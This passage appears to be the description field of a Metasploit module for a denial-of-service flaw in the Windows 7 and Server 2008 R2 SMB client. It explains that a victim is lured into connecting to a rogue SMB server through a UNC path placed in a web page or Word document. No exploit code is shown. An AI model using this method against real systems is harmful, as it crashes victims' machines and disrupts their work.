'Description' => %q{  
This module exploits a denial of service flaw in the Microsoft  
Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger  
this bug, run this module as a service and forces a vulnerable client  
to access the IP of this system as an SMB server. This can be accomplished  
by embedding a UNC path (\\HOST\share\something) into a web page if the  
target is using Internet Explorer, or a Word document otherwise.
